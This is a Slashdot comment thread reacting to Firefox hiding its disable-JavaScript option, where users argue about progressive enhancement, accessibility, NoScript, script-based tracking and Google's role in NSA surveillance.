I miss progressive enhancement

[Kethinov]

I miss the days when web developers still gave a shit about progressive enhancement.

I miss the days when you couldn't be considered a real web developer unless you could make a CSS Zen Garden (http://www.csszengarden.com) skin without cheating by changing the markup or using JS.

I miss the days when you were only considered a good web web developer if your site was usable with both JS and CSS disabled because you used semantic HTML.

I miss the days when accessibility still mattered.

I miss the days when writing semantic HTML, enhancing it with CSS, and enhancing it further with JS was considered the best practice, rather than starting with just JS and an empty body tag as is so common today.

I miss the days before the now popular false dichotomy of thinking that progressive enhancement is extra work was popular among web developers.

I love that the web can do more now and compete with native apps better. But I hate that web developers are so quick to unnecessarily abandon progressive enhancement in the process when that's what made the web great to begin with.

Re:I miss progressive enhancement

[Anonymous Coward]

Those who ignore progressive enhancement always existed. Remember back in the early days of the web those who wrote webpages that didn't work until you loaded all the images. Or the one's who wrote entire sites in flash or required and activeX control for the most basic features.

Re:I miss progressive enhancement

[Intrepid imaginaut]

I miss the days when web developers still gave a shit about progressive enhancement.

I miss the days when you couldn't be considered a real web developer unless you could make a CSS Zen Garden (http://www.csszengarden.com) skin without cheating by changing the markup or using JS.

I miss the days when you were only considered a good web web developer if your site was usable with both JS and CSS disabled because you used semantic HTML.

I miss the days when accessibility still mattered.

I miss the days when writing semantic HTML, enhancing it with CSS, and enhancing it further with JS was considered the best practice, rather than starting with just JS and an empty body tag as is so common today.

I miss the days before the now popular false dichotomy of thinking that progressive enhancement is extra work was popular among web developers.

Those days never existed. Seriously, do you remember what things were like back in the 90s? Or the early 00s? It's a bit early for the rose coloured blindfold to drop I think.

Re:I miss progressive enhancement

[Shados]

With the newer paradigms for usability, the semantic of the page for a non-javascript drive one would be completely different. Just take the example of a financial application, that has a grid with billions of rows with records updating in real time. The javascript one will be a grid that lazy loads and pool updates (or use websockets). The non-javascript one will have a refresh button and postback paging. The former can be a static html page with an ajax service. The later has to actually be dynamic using some kind of server language.

Its so totally different, you really need some kind of numbers to justify making the page essentially twice. If it only affects a very small percentage of users, its just not worth it. If you're in a field where laws apply, then you don't have a choice and you do it. If your application is targeted at a low end user segment that may have a lot of disabled users, then you do it. If your application has a very well defined user base, then you may just skip on it.

Now if you're talking a news site that just display text, and the twit devs decided to use jquery instead of CSS to do their layout...then yeah, I'm with you.

Re:I miss progressive enhancement

[Anonymous Coward]

The new web is interactive and dynamic, that requires the usage of AJAX or something similar.

Most people will not use a webpage that is just html, they will use webpages that are static html and css, but they want to use webpages that are dynamic and don't require you to load a new page for content. It flows better, it is more responsive, its easier to use, and it can allow users to make preference changes that take effect without reloading the page.

Complicated forms are a nightmare to create, validate, and handle without javascript.

Those things you miss were all things that worked when the web was small, static, and used primarily used just to share information.

Re:I miss progressive enhancement

[Anonymous Coward]

I was a dev who died both. And you know... I'm not sure it's rose colored lenses.

The blunt of it it was we could and did charge more for progressive enhancement.

And devs I interviewed who didn't know what it was or give a fuck would still get jobs, but they'd be offered less, and put on less important projects.

My team could and did do progressive enhancement in 04. And it worked.

Some people didn't want to pay for it. But we all knew it was best practice.

It's not rosey lenses just because you worked for a shit tier sausage factory that didn't do it. Yes, it may have been rare. Quality is always rare.

Re:I miss progressive enhancement

[phantomfive]

I miss the days when you couldn't be considered a real web developer unless you could make a CSS Zen Garden (http://www.csszengarden.com) skin without cheating by changing the markup or using JS.

That sure never happened.

Re:I miss progressive enhancement

[Anonymous Coward]

Abandoning progressive enhancement is all IT is about. What are you talking about. Just look at all the novelty we are sold over and over and there were clearly previous solution available.

Re:I miss progressive enhancement

[Kethinov]

The unstated premise in your comment assumes the web's current obsession with JSON. There's no reason your AJAX service can't respond with HTML instead. HTML is a data format just like JSON. If your HTML is semantic, then you can write it once and use it in both contexts. I do this all the time and I feel like some special enlightened snowflake who does twice the work for half the effort of most developers.

Re:I miss progressive enhancement

[Anonymous Coward]

Most people will not use a webpage that is just html

Bullshit. Most people wouldn't notice the difference if their lives depended on it.

Re:I miss progressive enhancement

[Shados]

That changes nothing. If you're removing javascript from the equation, that means the service spitting out html needs to spit the entire page, and everything the ajax enabled page did on the client, on the server instead.

Data format changes exactly nothing here.

If you have 2 identical pages, one that updates via javascript/json, and one that refresh the whole page, but both looks exactly the same, yes, what you say is true. Its what we did back then when http request objects existed and the technique wasn't yet called "ajax".

In today's world however? The non-javascript page is so totally different in functionalities, you're doubling the work in all but the most simple of scenarios. Those scenarios are common, don't get me wrong. But they aren't the ones that take any kind of time, even if I had to do them 15 times instead of just once.

Re:I miss progressive enhancement

[Anonymous Coward]

I miss the days when web developers still gave a shit about progressive enhancement.

Those days never existed. Seriously, do you remember what things were like back in the 90s? Or the early 00s? It's a bit early for the rose coloured blindfold to drop I think.

I remember what it was like and GP was spot on. Progressive enhancement was not only the best practice, but a requirement of professional web design. Websites were expected to be standards compliant and usable if the browser did not support Java, Javascript, VBScript, CSS, Shockwave, or any other extension. Anybody whose website failed to work in Lynx was derided as an idiot.

What we see here is that the people in charge of developing a web browser forgot how HTML works. Given that the same people also forgot how the software development life cycle works, maybe we shouldn't be too surprised.

Re:I miss progressive enhancement

[liamevo]

Progressive enhancement has not at all been abandoned. The majority of frontend developers are constantly thinking about accessibility, usability, writing semantic markup and making simple enhancements with JS, that's the standard these days, you build sites that work on any device, at any resolution with and without javascript.

But the time where the web was just web pages is gone. You just cannot build an advanced web app without javascript, it's simply not feasible.

Re:I miss progressive enhancement

[Intrepid imaginaut]

Anybody whose website failed to work in Lynx was derided as an idiot.

Wow. Rose coloured blindfolds indeed.

Re:I miss progressive enhancement

[Kethinov]

You can differentiate the JS and non-JS experiences using the same URL endpoints by sending a special HTTP header to indicate that it's an AJAX request.

That can allow the server to send back a response without the header and footer if it's an AJAX request, or send a fully composed page if it's not.

Saying that the JS and non-JS experiences are "so totally different" is just an excuse people use to ignore the non-JS scenario.

I will concede that some webapps (particularly games) cannot be reasonably hybridized in this fashion, but I think most developers jump the gun in assuming too quickly that their app is too rich for progressive enhancement.

In my experience, the vast majority of webapp projects out there could be done with progressive enhancement without creating extra work, but as time goes on developers are less and less willing to even consider the idea.

Re:I miss progressive enhancement

[Kethinov]

Progressive enhancement has not at all been abandoned. The majority of frontend developers are constantly thinking about accessibility, usability, writing semantic markup and making simple enhancements with JS, that's the standard these days, you build sites that work on any device, at any resolution with and without javascript.

The majority? Where do you work? Can I get a job there? Most of the developers I've met in Silicon Valley either A. don't have those priorities or B. pay lip service to those priorities but don't implement them competently.

But the time where the web was just web pages is gone. You just cannot build an advanced web app without javascript, it's simply not feasible.

Not everybody wants the rich experience. In the vast majority of cases, providing a non-JS experience is not extra work if you're using best practices to begin with.

When I see things like this, I shake my head: http://dev.sencha.com/deploy/touch/examples/production/kitchensink/

Turn off JS on Sencha Touch's kitchen sink, see a blank screen.

And what for? None of that UI fundamentally requires JS to function. If they'd built it with progressive enhancement instead, the links would still work, just without the animations. The forms would still work, just without the fancy enhancements. But most importantly, the page would still fucking render.

Re:I miss progressive enhancement

[keytoe]

I remember what it was like and GP was spot on. Progressive enhancement was not only the best practice, but a requirement of professional web design. Websites were expected to be standards compliant and usable if the browser did not support Java, Javascript, VBScript, CSS, Shockwave, or any other extension. Anybody whose website failed to work in Lynx was derided as an idiot.

The web worked like that for roughly 5 years in the early nineties. Then people outside the academic and military industries started using it and all of our happy, idealistic concepts about what the web was supposed to be began to erode.

We fought, as 'professionals', to do things 'the right way', and we priced ourselves right out of the market as everyone's nephew became a 'web developer'. The reality was that as time marched on the people paying the bills didn't care. The 'ideal web' collapsed almost immediately the moment moneyed interests moved in.

I can't see looking back at that time as anything other than wearing rose tinted glasses. Sure, the web was amazing, valiant, noble and revolutionary when I was in college. I look back on those years fondly as well, but I recognize that nostalgia plays a large part in that.

Re:I miss progressive enhancement

[betterprimate]

Most of the developers I've met in Silicon Valley

What's the age range of the developers in Silicon Valley these days? I suspect they aren't old enough to remember *why* we needed web standards.

Re:I miss progressive enhancement

[Anonymous Coward]

Disagree - I distinctly remember those days - now it seems it's more about 'talking the talk' (usually in order to get a job or to impress) and less about 'walking the walk'. Lots of buzzwords and superlatives covering up a lack of experience and insight. In my opinion, it's just lazy thinking.

Re:I miss progressive enhancement

[Anonymous Coward]

I miss the animated construction worker of the 90's, personally.

Re:I miss progressive enhancement

[Anubis IV]

There's a difference between abandoning progressive enhancement, which is what you say is happening, and recognizing that the foundation we're building on with our enhancements has grown to include items that were once considered enhancements, which is what's actually happening here.

Progressive enhancement doesn't exist in a vacuum. The foundation we build on when we make our enhancements grows over time as features become standardized and adopted to the point that they become foundational. Despite your suggestions to the contrary, progressive enhancement remains as important today as it was in years past, as well as still being in widespread use. The new enhancements we make are things like serving higher-res images, providing responsive CSS designs, or making use of local storage, for instance. The features are more numerous and smaller than they used to be, but the principle of progressive enhancement remains intact.

When users disabled images to save bandwidth, surfed with a browser that had shoddy CSS support, and turned off JS because it slowed sites down and offered little benefit, progressive enhancements of the sort you're thinking had an important place in the web developer's toolkit. But today? Broadband has made the bandwidth concerns obsolete for most people (note: obviously there are separate accessibility issues with images, but I'm not addressing those here), web standards are widely adopted, and JS has become a functional requirement, rather than an aesthetic enhancement. The foundation is larger, and we're better off for it, since now we can make sites, services, and apps that simply weren't possible when we were tasked with having to produce a working version that lacked those foundational features (e.g. how would you progressively enhance a Google Docs spreadsheet from plain HTML through to HTML+CSS+JS?).

As for accessibility, I'd contend that it still matters, but that, as always, bad developers will abuse their tools and neglect things that matter. JS may give them more ways to mess things up, but accessibility has always been in need of more improvement, and blaming the tool for the ineptitude of the developer makes little sense. When used properly, JS can still provide excellent accessibility.

P.S. To cut off something that I fear people may read into what I've said, I'm not arguing against progressive enhancement, nor even against continuing to treat the stuff the OP is talking about as an enhancement. I'm arguing against mandating a specific lowest common denominator beyond its time. If your site cannot function without X and everyone is already using X, then go, build your site with X, and be happy, even if just a few years back X wasn't in widespread use. But if X will merely improve your site and isn't a necessity, then do your best to treat it as an enhancement of the sort the OP was talking about. Basically, make things as simple as possible but no simpler.

Re:I miss progressive enhancement

[Darinbob]

To me, not speaking as a web developer, do we really want advanced web apps in the first place? What's wrong with real applications? Yes, I think it's nice that I can have a usable web mail today, but I don't see why nearly every single site out there is chock full of third party scripts that do nothing except spy on me, serve ads, and slow down my computer. Most of this stuff is just providing a column of ads down the side instead of actually enhancing the original page.

If you actually develop one of the extremely rare web apps that are useful, then I can turn scripting on for it. But by default I have scripting off because most of it is junk. As a web site viewer, the experience is all about me and not the developer, my needs take precedence. Just like I won't return to a retail store that is rude to me, I don't want to visit web sites that subject me to annoying ads or take analytics from what I do or that slow down my computer.

Re:I miss progressive enhancement

[Oligonicella]

"Anybody whose website failed to work in Lynx was derided as an idiot."

Only on /. and other like venues.

Re:I miss progressive enhancement

[El_Oscuro]

Lynx support would be awesome for many tech support sites. Almost without fail, these now have "rich" interactive webpages with lots of java script. Try uploading trace files and logs over a crappy connection with XWindows and Firefox where simply clicking on a dialog box can take 10 minutes.

Re:I miss progressive enhancement

[wvmarle]

Well back in the mid 1990s, CSS and JS were not an issue. They didn't exist yet. It was just HTML you could use.

That was also the time that (if the server allowed it) you could edit the html in the built-in editor of Mosaic or Netscape, and upload it back to the server. A primitive form of modern-day wiki's.

Re:I miss progressive enhancement

[GuB-42]

HTML 2.0, single file, no CSS, works on lynx and mosaic, 14.4kbps optimised. That's the good old days.

This, and /BLINK tags.

Re:I miss progressive enhancement

[Waccoon]

HTML always sucked, but it was definitely getting better with every revision.

These days we keep having discussions about how local storage in HTML5 is a nightmare waiting to happen, meanwhile just playing audio in a web browser is a challenge.

We are not moving forward anymore.

Can't be good.

[Anonymous Coward]

This can't be good. From a developer standpoint, who actually understands what succeeds on the web, Javascript is NOT essential. I've developed websites that earn millions in revenue, and have high conversion rates... with very little Javascript!

Making it mandatory only opens the holes for maliciousness. Kind of like, I dunno, a certain Detriment Explorer.

Re:Can't be good.

[liamevo]

once again, you can still turn javascript off, those that do are likely to be at the very least, power users, who are comfortable with about:config, where you can find that option. If not comfortable using about:config, then they'll know how to install an extension.

Noscript

[sl4shd0rk]

http://noscript.net/

Should focus on protecting users

[mounthood]

Firefox would do better to spend more time focused on protecting users, rather than limiting options to what they think is less confusing. Lots of bad things use JS and ordinary people have few options to protect themselves... disabling JS is one of the best. Advertising, tracking, right-click "protection", and just poorly written websites are a real issue for users, and often times disabling JS actually works.

Extensions are fine and all, but built-in Options are more important (always available, easily discoverable, safe to experiment with) and disabling JS should be there.

Re:Should focus on protecting users

[Anonymous Coward]

>safe to experiment with
>disabling JS should be there

Pick one. Not all users are experts. That's why Mozilla is doing this.

You, as a more advanced user, can still access the built-in option without a plugin if you wish (about:config). Just like every other browser that cares to give you the option. And here, you also have the option of using a nice, simple UI for Javascript and ads via best-in-class extensions like NoScript, AdBlock Plus and Ghostery.

If you're so worried that Firefox isn't focusing on protecting you, then you clearly aren't following along. They're working hard to disable mixed-content browsing, even going so far as to tell specific webmasters that their sites are broken. But no, you just choose to focus on this tiny bit of trivium and whine.

Re:Should focus on protecting users

[Anonymous Coward]

Just bookmark about:config?filter=javascript.enabled and put it in your bookmarks toolbar. Now its in the primary UI, not even the secondary one of settings, problem solved.

Well

[The Cat]

We'll disable it anyway.

Javascript is the cat shit to HTML's dog shit.

Transfer profile

[Fuzzums]

Are there tools available to export your FireFox profile to other browers?
Naturally IE is not an option.

What other browser would you recommend?

Re:Transfer profile

[Anonymous Coward]

All of the others are either dead, non-options for you, or already do this anyway. Firefox is still the same beast, you'll at worst just have to turn off Javascript again in about:config. Much less work than going to a browser you'll probably find inferior anyway. Quit being a drama queen.

Re:Transfer profile

[gottabeme]

Here are some to check out:

[ ] Conkeror (Gecko/XULRunner, emacs/vi-inspired)
[ ] xxxterm
[ ] jumanji
[ ] uzbl
[ ] luakit (said to be very good)
[ ] dwb
[ ] QupZilla
[ ] vimprobable2

Hey, I'm not worried!

[Bearhouse]

Followed the advice of some kind folks here, updated my HOSTS file, and use IE with BING exclusively!!!
Also installed the latest Oracle Java with that helpful toolbar thing, it's AWESOME!!!

Nothing to worry about, rite???

Re:Hey, I'm not worried!

[gottabeme]

HOSTS!!!

I don't like.

[Anonymous Coward]

I make a lot of apps that will break if you disable javascript. And I still think its the user choice to do so. I want some websites to still work even if javascripts breaks. Theres good reasons for that, one is that dependencies break. 10 years from now the web will be very different, we don't want old webpages to automatically break for no good reason. Less dependencies is good, some webpages just don't need javascript!.

Stop Feeding the Troll!

[b1ng0]

Stop posting this "user's" aka Dice's stories on Slashdot! His entire history of posts all link to the user's own i-programmer.info site in order to generate traffic and ad impressions. Enough is enough already!

Re:Stop Feeding the Troll!

[RocketRabbit]

Dice owns Slashdot now. Be careful of your criticisms - I received permanent negative karma from Roblimo for calling out his douchey video advertisements.

Re:Stop Feeding the Troll!

[hedwards]

Good thing nobody ever reads the article.

Re:Stop Feeding the Troll!

[Anonymous Coward]

You've been here more than long enough to know the trolls are running the fucking place, every second article is a paid advertisment, every other article is a lame piece of shit April Fool's joke, ad nauseam.

How about you stop fucking coming here and complaining? It doesn't bother me in the least, be my guest, but it seems like a waste of time. Clicking through on links and posting a comment to tell people how lame someone else's posts are, all you did was generate revenue for someone else. Slashdot and the guy himself, you posted a link to his site in your own fucking comment. If you're going to be doing his work for him then you REALLY have no right to complain.

Seriously, do you think hand-waving in the comments section about how things have turned to shit is actually going to solve anything? Really? Even after Malda retired...from what was essentially his own blog? Even he could see what this place was turning into. A bunch of advertisers and a bunch of whiny fucks complaining about the advertisers. Congratulations, you're one half of the problem you'll never solve.

Re:Stop Feeding the Troll!

[gottabeme]

Welcome to Slashdo...oh, you have been here for a while...

Still on version 21 foreseeable future

[Anonymous Coward]

Unless ver 23 fixes FF 22's lousy hidip scaling issues, random freezes and host of other issues that I've never had before after updating, I'm staying on ver 21. The last update has got to be one of the more bug-ridden releases Mozilla has put out in a long time.

Re:Still on version 21 foreseeable future

[Elbart]

Firefox was broken before, 22 just fixed the bug.

That's it...

[Stormwatch]

Bye bye, Firefox. Opera just got one more user.

Re:That's it...

[Anonymous Coward]

Because you're too retarded to use about:config or noscript to turn off or control js? Or because you're too retarded to notice the 100's of comments telling you that you can still do this?

That Does It!

[Anonymous Coward]

I'm going back to Lynx

nsa told them too

[Anonymous Coward]

the sacks a shit spying told them too.

FF has gone the way of GNOME

[Anonymous Coward]

"I know what's best for you, my user, don't you configure me".

FF is on the fast-track way to complete obsolidity (SP?).
Any real user will miss (and already does) real options affecting program behaviour.

Re:FF has gone the way of GNOME

[ak3ldama]

Haven't you heard? It breaks the internet! Don't you want it to work right for everyone!?

Re:FF has gone the way of GNOME

[liamevo]

any real user knows how to use about:config

Grayware

[Anonymous Coward]

Time to classify Firefox as Grayware.

Title is misleading

[Anonymous Coward]

The article title is misleading: JavaScript is on, and it's the same default as it was previously — they only removed the option to disable it from the preferences UI.

Also, I wonder how many non-power users do slashdotters know that browse the web with JavaScript disabled. Anyone?

'No Script' Is The Only Reason I Use Mozilla

[Anonymous Coward]

Mozilla isn't especially fast, not compared to Chrome. However, not being able to selectively enable/disable Javascript in Chrome is why I don't use Chrome. Along with the apparent desire of Google to know everything about me.

If a there's a security hole in a browser, the most likely way the security hole is going to be exploited is either Javascript or Flash. The most likely source is going to be advertising networks, so disabling Javascript, and selectively enabling it on the sites themselves means I can surf the web and have websites work, without having to worry about advertising networks giving me something I really don't want.

Dig a little if you care

[sjbe]

Just because you don't use that options doesn't nobody else does.

I'm well aware that a small percentage of people use the option to disable Javascript. I'm also well aware that those same people are also technologically adept enough to figure out how to disable Javascript using means other than a menu option. (Noscript, about:config, etc) A menu option deserves prominence if it is commonly used. The option to disable Javascript is very seldom used and as such does not need a prominent menu location. It's not exactly rocket science to make it possible to put the menu pick back for the 5 or so people who actually care.

Re:Dig a little if you care

[Obfuscant]

A menu option deserves prominence if it is commonly used. The option to disable Javascript is very seldom used

Perhaps in your tiny universe, but in mine I use it a lot. It deserves an easy to find menu location so I don't have to leave the web page I'm looking at to bring up "about:config" when I find a stupid web programmer who can't do simple things in a simple way and needs a javascript widget (many of which are broken) to do something. Like trying to validate email addresses, which the common scripts all fail at miserably.

Re:Dig a little if you care

[Anonymous Coward]

Why? Because it takes up so much space to offer the user a choice? Also, I'm curious to see the stats - as anecdotes aren't proof. Do they include folks with addons, etc? And, how does this work with accessibility - or doesn't it matter since those folks are in such a small minority?

And Now Firefox Has Fallen...

[ewhac]

So people fiddle with the settings and the browser "breaks?" Is there some reason it wasn't possible to create a button reading, "Restore Factory Settings," in large, friendly letters? Or was that too hard?

The simple answer is that there is a growing movement to reduce user options that can break applications.

Please try to remember whose machine you're running on. You're a guest under my roof, and guests that behave badly do not get invited back. So no, you don't get to run code in my browser until you've earned a certain level of trust, and you certainly don't get to invite in your friends' code. (I mean, just who the fsck is rpxnow.com, anyway?)

For example, there are websites that not only don't work without JavaScript, but they fail in complex ways [ ... ]

The technical term for sites that behave this way is, "Broken."

Hence, once you remove the disable JavaScript option Firefox suddenly works on a lot of websites.

Firefox already works on a lot of Web sites. Is someone shipping FF with JavaScript turned off by default? What exactly is the alleged problem here?

Today there are a lot of programmers of the opinion that if the user has JavaScript off then its their own fault and consuming the page without JavaScript is as silly as trying to consume it without HTML."

These programmers are called, "Wrong."

Back in the 1990's -- in the days of sneaker-net, recall -- macros in Microsoft Word documents, originally thought to be oh so terribly clever, proved to be a monumental nightmare for their ability to spread viruses and generally wreak havoc. It was so bad that even Microsoft was forced to admit it fscked up, and no longer executed macros in a loaded document by default, but would ask first. So you'd think the lesson on embedding executable content in what was fundamentally a document would have been learned.

Then some allegedly clever person kluges together JavaScript in an afternoon, and suddenly executable content embedded in documents -- over a genuine network, mind -- becomes a fantabulous idea again.

Uh, no, it didn't. JavaScript was a stupid idea, and should never have been allowed to happen. Unless your site is trustworthy and useful, you DO NOT GET TO RUN JAVASCRIPT.

Re:And Now Firefox Has Fallen...

[Anonymous Coward]

What's with the idiotic title? Firefox has fallen? How? Because they hid an option that "breaks the web" for idiots who press the shiny red button despite not knowing what it does?

Nothing will change for you. You're free to continue browsing the same way you always have, and shout at less-informed users in the vain hopes of fixing a problem you perceive.

At least Mozilla is doing something proactive here instead of whining like you. Even if JS is a security risk, there are far bigger fish to fry in this area, and Gecko browsers remain the most easy to "secure" from this threat with NoScript and AdBlock Plus.

Re:And Now Firefox Has Fallen...

[Elbart]

Is there some reason it wasn't possible to create a button reading, "Restore Factory Settings," in large, friendly letters?

Help -> Troubleshooting Information -> Reset Firefox

Big deal

[FuzzNugget]

Those who don't know any better never disable it, those who do use NoScript.

If this breaks NoScript, I'll stop using FF

[DigitalSorceress]

I use NoScript to browse with JS disabled and only turn it on for sites I trust/want to get something done with.

If this change breaks NoScript, I'l switch to Chrome.

Modern Web Development

[Anonymous Coward]

Modern web development is not about static web pages that just sit there and provide links to more pages. We're building applications on the Web with the stated goal of replacing the previous generation of native applications. That is just not going to happen without javascript.

If you are thinking in the paradigm of a simple text only page, then you are missing the point of what is happening with the Web right now. It's not some specialized toy, it's the end all be all platform of the future. HTML5 is an open standards cross device platform for building applications, not web pages. Web pages were just the beginning...

In other news

[Fuzzums]

This week I read about a virus scanner that removes the option to use advances features.
Hold your horses!
What they meant was people were used to the advances features and it wasn't needed any more to call them advanced features.
The features stayed in, but were now called standard features.

what about tor?

[drabbih]

In order for anomymous communication to be possible through tor, javascript must be disabled. This cannot stand if we are to have the freedom of doing things safely from preview of governments and others.

Also Makes It More Difficult To Stop Pop-Ups

[Anonymous Coward]

Using Javascript to circumvent pop-up blockers has become increasingly common on even legitimate web sites; the only way I've found to deal with this is to deactivate JS on a site-by-site basis using a plug-in. But interesting that Mozilla is now going out of their way to make it that much more difficult for the average user to stop such intrusions on their surfing experience.

FYI

[Anonymous Coward]

chrome supports firebug also ..

Bleh do not want

[Anonymous Coward]

I specifically disable javascript for sites I don't trust because developers do some truly annoying things with and frankly for the vast majority of sites if a developer can't do something without javascript chances are I don't want them doing it anyways.

Any color you want as long as it's black

[JDG1980]

"The simple answer is that there is a growing movement to reduce user options that can break applications."

The writer could have stopped at the first half of that sentence, and it would have been more concise and accurate.

"The simple answer is that there is a growing movement to reduce user options."

This isn't really new. UI design "experts" have been saying for years that delegating choices to the users is bad. The programmer should make a decision and stick by it.

That's a bit of an exaggeration. What they're actually saying is a bit more subtle and nuanced. For example, this article by Joel Spolsky discusses when you should and should not offer the user a choice. Basically, it boils down to whether the users of the software will care. He cites the silly Help database dialog from Win95 (where you had to tell the OS what kind of database optimization you wanted it to do on the Help file before you could search for a term!) as an example of the kind of choice that shouldn't be presented to the user. In contrast, if something is related to the task at hand, then the user probably wants fine-grained control over it: "If it's a graphics program, they probably want to be able to control every pixel to the finest level of detail. If it's a tool to build a web site, you can bet that they are obsessive about getting the web site to look exactly the way they want it to look."

The problem is that, like so many other good ideas over the years, this principle of UI design was bastardized and dumbed down by the corporate equivalent of a game of telephone. These days it's been reduced to "Choices are bad. Don't give the user a choice." And, of course, users hate it. This is the design philosophy behind Windows 8.

Google doesn't "freely give" away information.

[Dputiger]

I've got no problem with your browser choice -- if you want to use Mozilla over Chrome, or IE over Firefox, hey, that's your call. But don't misrepresent the situation.

Google and Yahoo both pushed back hard against the NSA's programs. Yahoo went to court over it. You know what the court said? "Obey."

So what could Google do? You can't run an advertising business without having some information on your users. You can't run an email service without having access to the accounts. Yes, I suppose Google could have theoretically attempted to create a business in which everyone it served were direct customers of encryption services it provided (while explicitly saying that it couldn't decrypt traffic). Maybe that works for a startup, but you can't exactly transition a multi-billion dollar corporation to a direct customer model to avoid the NSA -- especially when you are legally prohibited from acknowledging that the NSA even spoke to you.

More than one of the companies that participate in Prism were forced to do so.

Re:Google doesn't "freely give" away information.

[Anonymous Coward]

Google and Yahoo both pushed back hard against the NSA's programs.

Google hardly pushed back at all. Describing what they did as "pushed back hard" is utterly ridiculous.

Re:Google doesn't "freely give" away information.

[Dputiger]

Google is the company pressing in court to be able to talk about NSA gag letters. They were doing it, Pre-Snowden. That's not significant?

The bigger point, however, is that Google didn't have a choice. Microsoft didn't have a choice. Yahoo didn't get a choice. And if the NSA/FBI start gunning for Mozilla, Mozilla won't have a choice, either..

Re:Google doesn't "freely give" away information.

[Krojack]

Exactly. This is the main reason Google is wanting to release more information. The FUD spread by people like AC are hurting Google's (and other companies) business. They want to release more information to show the public what's being done. The less the public knows the more rumors get started.

Re:Google doesn't "freely give" away information.

[peppepz]

Did Google et al give data to the NSA or not? If they did, why should I care about what their disposition was when they did it?

Re:Google doesn't "freely give" away information.

[Luckyo]

According to Snowden's slides, it even allowed NSA to tap it's servers for real time indexing for PRISM.

Re:Google doesn't "freely give" away information.

[Anonymous Coward]

Google and Yahoo both pushed back hard against the NSA's programs.

According to the slide, only Microsoft caved before Yahoo and Google. That's not exactly confidence-inspiring.

Re:Google doesn't "freely give" away information.

[Anonymous Coward]

No, you can't run an advertisement business without having some information about your users. And I'd be really happy if they COULD NOT RUN THEIR ADVERTISEMENT BUSINESS!

Re:Google doesn't "freely give" away information.

[Anonymous Coward]

"Forced" is a strong word. Google should have refused the court order. Let the Feds raid a dozen data centers all at once and figure out which servers have the data they want. Let them close down Gmail and see how long their operation is secret. Fuck them. The good side to corporate personhood is who can go to jail if Google doesn't comply?

Re: Google doesn't "freely give" away information.

[Anonymous Coward]

that's scary and all, but it doesn't really matter. the nsa can tap ANY company or person it likes by simply installing a splitter at the ISP that handles the data. in fact, this *is* being done right now (that's why it's called PRISM - it splits internet traffic much like a prism splits light. one copy goes to its intended destination, one goes to the nsa. nothing any person or any company can do about it.

Re:Google doesn't "freely give" away information.

[Anonymous Coward]

I've got no problem with your browser choice -- if you want to use Mozilla over Chrome, or IE over Firefox, hey, that's your call. But don't misrepresent the situation.

Google and Yahoo both pushed back hard against the NSA's programs. Yahoo went to court over it. You know what the court said? "Obey."

So what could Google do? You can't run an advertising business without having some information on your users. You can't run an email service without having access to the accounts. Yes, I suppose Google could have theoretically attempted to create a business in which everyone it served were direct customers of encryption services it provided (while explicitly saying that it couldn't decrypt traffic). Maybe that works for a startup, but you can't exactly transition a multi-billion dollar corporation to a direct customer model to avoid the NSA -- especially when you are legally prohibited from acknowledging that the NSA even spoke to you.

More than one of the companies that participate in Prism were forced to do so.

They could (though it would have been expensive) have moved their operations outside the US. Companies are happy enough to move headquarters for tax reasons, why not for legislative ones -- and rather than build more datacentres within the US jurisdictional boundary have placed them in Canada or overseas.

They may have said "oh you meanies" as much as they liked, but they did very little other than meekly hand over the data.

Re:Google doesn't "freely give" away information.

[Anonymous Coward]

There was the option to move their offices to a different country, no one is stopping anyone from doing that.

Re:Google doesn't "freely give" away information.

[Nerdfest]

These people are frequently paid to do so. You get three guesses at who's paying the bills.

Re: Google doesn't "freely give" away information.

[Luckyo]

If you do not understand the difference between owning a pipe and owning the container, you should start by educating yourself.

Owning the pipe means you need to replicate the container. Which is incredibly costly and difficult in case of google, likely borderline impossible with immense need of skilled labor much of which would be opposed to endeavor even with proper "encouragement" to the point of inserting intentional bugs and other sabotage.

Re:Google doesn't "freely give" away information.

[Anonymous Coward]

The bigger point, however, is that Google didn't have a choice.

Bullshit. They had a choice, they just chose to pick the easier, more profitable one.

Re:Google doesn't "freely give" away information.

[Clsid]

So who's forcing you to use Google? Firefox is a viable alternative that does not collect such data and it doesn't seem to be going away anytime soon. No data collection, no data to share. Easy as pie.

If Google business model requires to collect data from you to exist, you should think hard about whether you value your privacy, measure the risks of identity theft or whether as a human being you should strive for commendable goals that include the promotion of free software to prevent exactly these kinds of issues. I would think that's what the Slashdot audience is all about. Instant gratification with free products or services at the expense of freedom is not a good thing on my book.

Re:Google doesn't "freely give" away information.

[Dputiger]

So let's look at that. Keep in mind, they can't talk about anything that happens.

1). Google announces a surprise move to, say, Europe. They can't say why. But since the NSA has direct taps on all web traffic flowing into the United States, they can't continue serving US customers if they want to secure their data.

2). Google announces a new product for US customers. It's Gmail Encrypted, with all the problems associated with it. Note that this doesn't excuse them from legal liabillity; the NSA would undoubtedly take them to court to argue that they were deliberately evading responsibility.

3). There's no way to just 'switch' incorporation. You have discorporate in the US and reincorporate in Europe. So you pay billions in capital gains on the US revenue, then hundreds of millions in associated fees and start-up costs. You can't just sell a company as big as Google to a European competitor and you can't just pick up the assets and move them, scot-free. In fact, the only way to really protect your data centers is to move them. All of them.

4). You can't tell anyone WHY you are doing this. You're just doing it.

How do you think Google's shareholders would have reacted to an announcement that Google was going to move to a European nation, dissolve its US corporation, move all its physical datacenters across the pond, institute a new mandatory encryption service for US customers, and pay enormous costs for doing so -- because it felt like a good idea?

Never run javascript without a serious reason.

[Anonymous Coward]

I only enable javascript for a site if I get some actual benefit from it. For example, on Amazon.com I can use the shopping cart if I enable javascript; on slashdot I can comment, on google I can send and receive email.

I don't enable javascript just so I can see somebody's vanity site or webvertising. You have to give me a value proposition that I can evaluate - "what's in it for me?"

So I never visit the sites of any TV networks or stations, because they require scripts hosted from a dozen different sites in order to be even minimally intelligible, and I can get the same information trivially elsewhere without running any of those scripts.

Re: Never run javascript without a serious reason.

[Anonymous Coward]

You realize what you just said can be worded as:

"If your site has advertisements that require javascript, make sure the desired functionality of the site does not degrade gracefully in the absence of javascript, to ensure I'll turn it on"

Nothing about a comment system, for example, requires javascript to work. Indeed slashdot worked fine without javascript for a long time. (I assumed it still did, but you imply it doesn't -- so apparently they read your message exactly as I restated it.) It's bad enough to require javascript because the programmers are too lazy to do it right, but it's even worse when people making "bargains" like yours encourage sites to disable perfectly good functionality to force javascript on tasks that don't require it.

Re:Never run javascript without a serious reason.

[innocent_white_lamb]

You can comment just fine on Slashdot without javascript. On this computer, javascript is disabled by noscript right now. and I'll just click the submit button and...

Nothing new...

[UltraZelda64]

